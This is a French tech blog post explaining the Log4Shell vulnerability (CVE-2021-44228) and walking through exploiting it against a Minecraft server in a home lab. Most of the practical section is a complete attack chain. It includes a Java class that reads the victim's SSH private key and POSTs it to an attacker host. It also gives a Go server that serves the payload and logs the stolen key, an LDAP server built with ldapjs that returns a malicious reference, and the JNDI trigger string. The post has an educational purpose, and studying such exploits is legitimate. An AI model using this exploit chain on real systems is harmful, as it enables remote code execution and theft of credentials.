Site icon Le blog Tech d'Indy

Comprendre (et exploiter 😈) la faille log4shell

Log4j, qu’est-ce que c’est ?

Log4j est une des librairies de log parmi les plus utilisĂ©es par les applications codĂ©es en java. La liste des entreprises qui l’utilise est longue, on y compte notamment des gĂ©ants comme Apple, Google, Microsoft ou encore Steam.

La faille Log4Shell

Log4shell c’est le nom donnĂ© Ă  cette vulnĂ©rabilitĂ©. On peut aussi la retrouver sous le nom CVE-2021-44228. Ce qui rend cette faille trĂšs dangereuse est que d’une part elle est trĂšs facile Ă  exploiter et d’autre part,la librairie log4j est utilisĂ©e dans un grand nombre de projets. Sur github plus de 300 000 dĂ©pĂŽts utilisent cette dĂ©pendance.

Log4j comprend une fonctionnalitĂ© de lookup. C’est Ă  dire qu’elle peut interprĂ©ter certaines instructions qui seraient inclues dans les donnĂ©es loggĂ©es. Par exemple si on lui demande de logger ${env:USER}, cette chaĂźne de caractĂšres va automatiquement remplacĂ©e par la valeur de la variable d’environnement USER. Il est ainsi possible de faire un lookup via jndi (java naming directory interface), qui en soit n’est pas problĂ©matique, on va juste chercher une valeur ailleurs et la logger. Quand on la combine a ldap (un annuaire clĂ© valeur) il devient possible de faire exĂ©cuter du code. Pour comprendre comment cela marche, on a va passer Ă  la pratique dans la partie suivante.

Exploitons cette faille

Passons maintenant aux travaux pratiques. Pour rĂ©aliser une attaque, on va utiliser deux ordinateurs. Le premier sera l’ordinateur cible, qui fera tourner le serveur, le second (Ă  l’adresse 192.168.1.22) sera l’ordinateur attaquant qui va hĂ©berger le serveur http et jdni.

Chaque message envoyé dans le tchat du jeu (à gauche) est loggé dans la console du serveur et dans un fichier de logs (à droite)

Pour commencer, on lance le serveur minecraft avec la commande suivante :

java -Xmx1024M -Xms1024M -jar .\\\\server.jar nogui

On va ensuite avoir besoin d’un code java malicieux qui sera exĂ©cutĂ© sur la machine qui hĂ©berge le serveur minecraft. Dans cet exemple on va lire la clĂ© privĂ©e de l’utilisateur et l’envoyer Ă  un serveur distant via http.

Voici le code qui fait ça :

import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.nio.charset.StandardCharsets;
import java.io.BufferedReader;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class MinecraftRCE {
    static {
        try {
            URL url = new URL("<http://192.168.1.22:8080/data>");
            URLConnection con = url.openConnection();
            HttpURLConnection http = (HttpURLConnection) con;
            http.setRequestMethod("POST");

            StringBuilder sb = new StringBuilder();

            try (BufferedReader br = Files.newBufferedReader(Paths.get(System.getProperty("user.home") + "/.ssh/id_rsa"))) {
                String line;
                while ((line = br.readLine()) != null) {
                    sb.append(line).append("\\\\n");
                }

            } catch (IOException e) {
                System.err.format("IOException: %s%n", e);
            }

            byte[] out = sb.toString().getBytes(StandardCharsets.UTF_8);

            int length = out.length;

            http.setFixedLengthStreamingMode(length);
            http.setRequestProperty("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
            http.setDoOutput(true);
            http.connect();
            try(OutputStream os = http.getOutputStream()) {
                os.write(out);
            }
            http.disconnect();
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

On compile ce bout de code avec javac pour obtenir un fichier MinecraftRCE.class :

javac MinecraftRCE.java

La prochaine étape est de servir ce fichier .class sur un endpoint http. Plusieurs options pour réaliser cela, nous allons partir sur une implémentation en Go, car on peut facilement lancer un serveur http avec la librairie standard :

package main

import (
	"bytes"
	"io/ioutil"
	"log"
	"net/http"
)

func dataHandler(_ http.ResponseWriter, req *http.Request) {
	buf, _ := ioutil.ReadAll(req.Body)
	rdr1 := ioutil.NopCloser(bytes.NewBuffer(buf))
	log.Printf("secret data: %q", rdr1)
}

func main() {
	fs := http.FileServer(http.Dir("./java"))
	http.Handle("/static/", http.StripPrefix("/static/", fs)) // 1
	http.HandleFunc("/data", dataHandler) // 2

	println("waiting for secret data")
	http.ListenAndServe(":8080", nil)
}

Ce bout de code en go fait tourner un serveur http qui fait deux choses simples :

  1. Il sert sur la route /static le fichier MinecraftRCE.class qui est dans le dossier java
  2. Il Ă©coute sur la route /data et affiche le body de la requĂȘte. C’est sur ce endpoint qu’on recevra la clĂ© privĂ©e envoyĂ©e par le script java malicieux.

Enfin on démarre un serveur ldap. Pour cela, on utilise le package npm ldapjs :

const ldap = require('ldapjs');

const server = ldap.createServer();

server.search('', (req, res, next) => {
	const obj = {
        dn: req.dn.toString(),
        attributes: {
            javaClassName: "MinecraftRCE",
            javaCodeBase: "<http://192.168.1.22:8080/static/>",
            objectClass: "javaNamingReference",
            javaFactory: "MinecraftRCE",
        }
    };

    res.send(obj);

    res.end();
});

server.listen(1389, () => {
    console.log('LDAP server listening at %s', server.url);
});

On lance ce serveur avec node :

node index.js

Tout est en place pour passer Ă  l’action. On se connecte au serveur minecraft comme un joueur normal et on peut dĂ©clencher l’attaque. Pour ce faire il suffit de taper dans le chat le texte suivant :

${jndi:ldap://192.168.1.22:1389}

C’est cette chaĂźne de caractĂšres qui sera envoyĂ©e Ă  log4j. AussitĂŽt qu’on a appuyĂ© sur entrĂ©e on reçoit bien la requĂȘte avec la clĂ© privĂ©e de la victime sur notre endpoint http /data.

On reçoit mĂȘme la requĂȘte 3 fois, sans doute parce que la chaĂźne est loggĂ©e 3 fois dans le code de minecraft.

Nous avons donc dĂ©montrĂ© que la faille log4shell peut facilement ĂȘtre exploitĂ©e. Dans notre exemple assez simple on s’est contentĂ© de lire la clĂ© privĂ©e, mais ce n’est pas la seule exploitation possible. C’est pourquoi il est fortement recommandĂ© de garder ses logiciels Ă  jour.

https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html

https://www.youtube.com/watch?v=7qoPDq41xhQ

https://news.fr-24.com/technology/591640.html

https://stackoverflow.blog/2022/01/19/heres-how-stack-overflow-users-responded-to-log4shell-the-log4j-vulnerability-affecting-almost-everyone/?utm_source=Iterable&utm_medium=email&utm_campaign=the_overflow_newsletter

https://securityboulevard.com/2021/12/log4shell-jndi-injection-via-attackable-log4j/

Quitter la version mobile